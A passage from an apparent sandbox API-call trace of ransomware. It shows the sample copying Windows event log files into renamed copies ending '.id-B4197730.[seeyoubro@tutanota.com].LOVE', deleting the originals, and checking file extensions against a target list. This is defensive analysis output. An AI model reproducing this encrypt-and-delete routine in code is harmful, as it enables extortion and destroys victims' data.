lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0203.049] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0203.067] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x1010, lpOverlapped=0x0) returned 1 [0203.679] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x1020, lpOverlapped=0x0) returned 1 [0203.683] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.683] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x162, lpOverlapped=0x0) returned 1 [0203.683] SetEndOfFile (hFile=0x358) returned 1 [0203.683] CloseHandle (hObject=0x358) returned 1 [0203.699] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.699] SetEndOfFile (hFile=0x320) returned 1 [0203.701] CloseHandle (hObject=0x320) returned 1 [0203.701] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.720] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0203.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.720] lstrlenW (lpString=".doc") returned 4 [0203.720] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.720] lstrlenW (lpString=".docx") returned 5 [0203.720] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.720] lstrlenW (lpString=".pdf") returned 4 [0203.720] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.720] lstrlenW (lpString=".xls") returned 4 [0203.720] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.721] lstrlenW (lpString=".xlsx") returned 5 [0203.721] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.721] lstrlenW (lpString=".ppt") returned 4 [0203.721] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.721] lstrlenW (lpString=".zip") returned 4 [0203.721] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.721] lstrlenW (lpString=".rar") returned 4 [0203.721] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.721] lstrlenW (lpString=".bz2") returned 4 [0203.721] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.721] lstrlenW (lpString=".7z") returned 3 [0203.721] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.721] lstrlenW (lpString=".dbf") returned 4 [0203.721] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.721] lstrlenW (lpString=".1cd") returned 4 [0203.721] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.721] lstrlenW (lpString=".jpg") returned 4 [0203.721] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.721] lstrlenW (lpString=".doc") returned 4 [0203.721] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.722] lstrlenW (lpString=".docx") returned 5 [0203.722] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.722] lstrlenW (lpString=".pdf") returned 4 [0203.722] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.722] lstrlenW (lpString=".xls") returned 4 [0203.722] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.722] lstrlenW (lpString=".xlsx") returned 5 [0203.722] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.722] lstrlenW (lpString=".ppt") returned 4 [0203.722] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.722] lstrlenW (lpString=".zip") returned 4 [0203.722] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.722] lstrlenW (lpString=".rar") returned 4 [0203.722] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.722] lstrlenW (lpString=".bz2") returned 4 [0203.722] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.722] lstrlenW (lpString=".7z") returned 3 [0203.722] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.722] lstrlenW (lpString=".dbf") returned 4 [0203.722] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.722] lstrlenW (lpString=".1cd") returned 4 [0203.722] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0203.722] lstrlenW (lpString=".jpg") returned 4 [0203.722] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.723] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.723] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55 [0203.723] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0203.757] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0203.757] CloseHandle (hObject=0x320) returned 1 [0203.757] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0203.757] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.758] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0203.758] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.758] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.758] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0203.758] GetLastError () returned 0x0 [0203.758] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.805] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.807] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.807] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x142, lpOverlapped=0x0) returned 1 [0203.807] SetEndOfFile (hFile=0x358) returned 1 [0203.807] CloseHandle (hObject=0x358) returned 1 [0203.809] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.809] SetEndOfFile (hFile=0x320) returned 1 [0203.811] CloseHandle (hObject=0x320) returned 1 [0203.811] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.811] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0203.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.811] lstrlenW (lpString=".doc") returned 4 [0203.811] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.811] lstrlenW (lpString=".docx") returned 5 [0203.811] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.811] lstrlenW (lpString=".pdf") returned 4 [0203.811] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.811] lstrlenW (lpString=".xls") returned 4 [0203.811] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.811] lstrlenW (lpString=".xlsx") returned 5 [0203.811] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.811] lstrlenW (lpString=".ppt") returned 4 [0203.812] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.812] lstrlenW (lpString=".zip") returned 4 [0203.812] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString=".rar") returned 4 [0203.812] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString=".bz2") returned 4 [0203.812] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString=".7z") returned 3 [0203.812] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.812] lstrlenW (lpString=".dbf") returned 4 [0203.812] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.812] lstrlenW (lpString=".1cd") returned 4 [0203.812] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.812] lstrlenW (lpString=".jpg") returned 4 [0203.812] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.812] lstrlenW (lpString=".doc") returned 4 [0203.812] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString=".docx") returned 5 [0203.812] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.812] lstrlenW (lpString=".pdf") returned 4 [0203.812] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString=".xls") returned 4 [0203.812] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString=".xlsx") returned 5 [0203.812] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.812] lstrlenW (lpString=".ppt") returned 4 [0203.812] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.812] lstrlenW (lpString=".zip") returned 4 [0203.812] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.813] lstrlenW (lpString=".rar") returned 4 [0203.813] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.813] lstrlenW (lpString=".bz2") returned 4 [0203.813] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.813] lstrlenW (lpString=".7z") returned 3 [0203.813] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.813] lstrlenW (lpString=".dbf") returned 4 [0203.813] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.813] lstrlenW (lpString=".1cd") returned 4 [0203.813] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.813] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0203.813] lstrlenW (lpString=".jpg") returned 4 [0203.813] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.813] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.813] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0203.813] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0203.813] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0203.813] CloseHandle (hObject=0x320) returned 1 [0203.813] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0203.814] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.814] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0203.814] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.814] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.814] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0203.814] GetLastError () returned 0x0 [0203.814] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.829] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.831] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.831] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x136, lpOverlapped=0x0) returned 1 [0203.831] SetEndOfFile (hFile=0x358) returned 1 [0203.834] CloseHandle (hObject=0x358) returned 1 [0203.836] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.836] SetEndOfFile (hFile=0x320) returned 1 [0203.837] CloseHandle (hObject=0x320) returned 1 [0203.837] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.837] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0203.837] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.837] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.837] lstrlenW (lpString=".doc") returned 4 [0203.838] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString=".docx") returned 5 [0203.838] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.838] lstrlenW (lpString=".pdf") returned 4 [0203.838] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString=".xls") returned 4 [0203.838] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString=".xlsx") returned 5 [0203.838] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.838] lstrlenW (lpString=".ppt") returned 4 [0203.838] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.838] lstrlenW (lpString=".zip") returned 4 [0203.838] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString=".rar") returned 4 [0203.838] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString=".bz2") returned 4 [0203.838] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString=".7z") returned 3 [0203.838] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.838] lstrlenW (lpString=".dbf") returned 4 [0203.838] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.838] lstrlenW (lpString=".1cd") returned 4 [0203.838] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.838] lstrlenW (lpString=".jpg") returned 4 [0203.838] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.838] lstrlenW (lpString=".doc") returned 4 [0203.838] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.838] lstrlenW (lpString=".docx") returned 5 [0203.838] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.838] lstrlenW (lpString=".pdf") returned 4 [0203.839] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.839] lstrlenW (lpString=".xls") returned 4 [0203.839] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.839] lstrlenW (lpString=".xlsx") returned 5 [0203.839] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.839] lstrlenW (lpString=".ppt") returned 4 [0203.839] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.839] lstrlenW (lpString=".zip") returned 4 [0203.839] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.839] lstrlenW (lpString=".rar") returned 4 [0203.839] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.839] lstrlenW (lpString=".bz2") returned 4 [0203.839] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.839] lstrlenW (lpString=".7z") returned 3 [0203.839] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.839] lstrlenW (lpString=".dbf") returned 4 [0203.839] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.839] lstrlenW (lpString=".1cd") returned 4 [0203.839] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0203.839] lstrlenW (lpString=".jpg") returned 4 [0203.839] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.839] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.840] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64 [0203.840] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0203.840] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0203.840] CloseHandle (hObject=0x320) returned 1 [0203.840] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0203.841] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.841] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0203.841] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.841] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.841] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0203.842] GetLastError () returned 0x0 [0203.842] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.926] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.928] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.928] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: 